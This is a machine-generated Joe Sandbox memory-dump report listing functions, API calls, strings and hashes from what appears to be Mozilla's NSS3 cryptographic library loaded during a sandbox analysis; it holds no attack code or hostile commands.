Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction ID: 264ef25e6b1655ae0746985c03d917b1b5bad556ee434edc104dc35ee355ba55
Opcode Fuzzy Hash: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction Fuzzy Hash: 47918CB6901A11CFCB00DF14C98489ABBF1FF4935872985A9D81D5BB22E732FC46CB94

Function 6C6B5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2BF0
Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C07
Part of subcall function 6C6B2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C1E
Part of subcall function 6C6B2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C4A

free.MOZGLUE(?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D0F
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D4E
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D62
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D85
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D99
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E47
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F4B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction ID: cf9b1ae4791eb5d67b08cb61a5292a6fc55d4b13eb1629a12c526b3a365f566e
Opcode Fuzzy Hash: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction Fuzzy Hash: 90719EB4A00B009FD701CF24D884A92B7F5BF89309F148539E81E97711E731F966CB99

Function 6C638DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C638E22
EnterCriticalSection.KERNEL32(?), ref: 6C638E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C638E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C638E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C638EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C638EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F00
free.MOZGLUE(?), ref: 6C638F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C638F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F5B
PR_Unlock.NSS3(?), ref: 6C638F72
PR_Unlock.NSS3(?), ref: 6C638F82

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction ID: 33facaef7561eb2c3cf3e91fa7663e21a3b6a049016f22caab9538ac9cde4d46
Opcode Fuzzy Hash: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction Fuzzy Hash: A7513BB2D002259FD7018F68CC489EAB7B9EF49358B15612AEC0CDB750E731ED4587E5

Function 6C65CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C65CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C65CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C65CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C65CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C65CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C65CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C65CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C65CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C65CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C65CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C65CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C65CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C65CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C65D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C65D021

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: f8d20d25007896cc86543a373047009de510c35fdce81cd7189d48ef27d1e9ea
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7C317671B6291027EF2D145A6D21FDF154A8B6730EF940438F90AE67C0FA859B6702FD

Function 6C730FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C731000

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C731016

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_Unlock.NSS3(?), ref: 6C731021

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731046
PR_Unlock.NSS3(?), ref: 6C73106B
PR_Lock.NSS3 ref: 6C731079
PR_Unlock.NSS3 ref: 6C731096
free.MOZGLUE(?), ref: 6C7310A7
free.MOZGLUE(?), ref: 6C7310B4
PR_DestroyCondVar.NSS3(?), ref: 6C7310BF
PR_DestroyCondVar.NSS3(?), ref: 6C7310CA
PR_DestroyCondVar.NSS3(?), ref: 6C7310D5
PR_DestroyCondVar.NSS3(?), ref: 6C7310E0
PR_DestroyLock.NSS3(?), ref: 6C7310EB
free.MOZGLUE(?), ref: 6C731105

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction ID: 87caedbcce4edfb26fccdbfc318df2eae2b74a261916b8256b88e07b0d647835
Opcode Fuzzy Hash: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction Fuzzy Hash: B9318AF5E05411ABDB01AF14ED41A85B7B1FF06319B184131E80902F62E732F978DBDA

Function 6C5ADC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5ADD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5ADD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5ADE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5ADEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5ADECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ADF6D, 6C5ADFCC, 6C5ADFDD
%s at line %d of [%.10s], xrefs: 6C5ADF7C, 6C5ADFEC
database corruption, xrefs: 6C5ADF77, 6C5ADFE7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction ID: 86b152c22605dd4f1b1a16cede0d134e9c5b427ae3dcebfc08a2f7bebf5639aa
Opcode Fuzzy Hash: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction Fuzzy Hash: 76A1C4716042059FC710EF6ACC80A6FB7F5AF85308F15892DEC898BB51E730E956CBA1

Function 6C66EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C66EE0B

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66EEE1

Part of subcall function 6C661D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C661D7E
Part of subcall function 6C661D50: EnterCriticalSection.KERNEL32(?), ref: 6C661D8E
Part of subcall function 6C661D50: PR_Unlock.NSS3(?), ref: 6C661DD3

TlsGetValue.KERNEL32 ref: 6C66EE51
EnterCriticalSection.KERNEL32(?), ref: 6C66EE65
PR_Unlock.NSS3(?), ref: 6C66EEA2
free.MOZGLUE(?), ref: 6C66EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C66EED0
PR_Unlock.NSS3(?), ref: 6C66EF48
free.MOZGLUE(?), ref: 6C66EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C66EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C66EFA4
free.MOZGLUE(?), ref: 6C66EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66F055
free.MOZGLUE(?), ref: 6C66F060

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction ID: 2848b708a7f4aa60f23ed203d7477126bea1f37beb86a613d2e741c4d0d918aa
Opcode Fuzzy Hash: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction Fuzzy Hash: B9818171A00209ABDF01DF65DC45BDE7BB5FF49318F144024E909A3B11E731E925CBAA

Function 6C634CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C634D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C634D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C634DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C634E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C634E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C634E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C634E85
DER_Encode_Util.NSS3(?,?,6C7805A4,00000000), ref: 6C634EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C634F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C634F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C634F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C634F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634FC8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction ID: 5400c9ff3b65266deae95cf8b6ba6fd5899c988db3adad38f9ef3239dd261c56
Opcode Fuzzy Hash: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction Fuzzy Hash: CC81A3719083119FE701CF24DC40B6ABBE4ABC5358F14A92DF95CCB640E772E905CB9A

Function 6C675C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C675C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C675CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C675CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C675D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C675D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C675E18
TlsGetValue.KERNEL32 ref: 6C675E5E
EnterCriticalSection.KERNEL32(?), ref: 6C675E72
PR_Unlock.NSS3(?), ref: 6C675E8B

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

Strings

d, xrefs: 6C675C36
tokens=[0x%x=<%s>], xrefs: 6C675D3D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction ID: 80b5cac8e37edf18582333d6f0f26a8857dcbe238f0347bccdacbfedc995a74b
Opcode Fuzzy Hash: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction Fuzzy Hash: 847118F0E051019BEB219F25DC4576A3375AF4630DF240879D8199AB42EB32E915C7BE

Function 6C668F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C669582), ref: 6C668F5B

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C668F6A

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C668FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C74D820,6C669576), ref: 6C668FF9
DER_GetInteger_Util.NSS3(?), ref: 6C66901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C66903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C669062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6690A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6690CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6690F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C66912D
free.MOZGLUE(00000000), ref: 6C669136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C669145

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction ID: 46212b2900fdac8123f5bd22567562892e197c79564147a9195d936bcc9dad2d
Opcode Fuzzy Hash: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction Fuzzy Hash: CA51E4B1A042009BEB10CF29DC4179BB7E8AF99358F154929EC54C7B41E731E945CBEB

Function 6C65ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C65ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AE29

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C65AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C65AEA0

Strings

C_MessageSignInit, xrefs: 6C65ADE1
(CK_INVALID_HANDLE), xrefs: 6C65AE1F, 6C65AE80
nsl, xrefs: 6C65AEB8, 6C65AEE6
hKey = 0x%x, xrefs: 6C65AE62, 6C65AE72
hSession = 0x%x, xrefs: 6C65AE01, 6C65AE11

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nsl
API String ID: 332880674-3381343405
Opcode ID: bb48b9ce540f6259b9ca76786cb63c8250f0ea77f753dc74caaca9ce95a75f58
Instruction ID: af10e864e8b85fa2dbaf9aa89267d18c2ac49e74adc11612561c04813bda6dbf
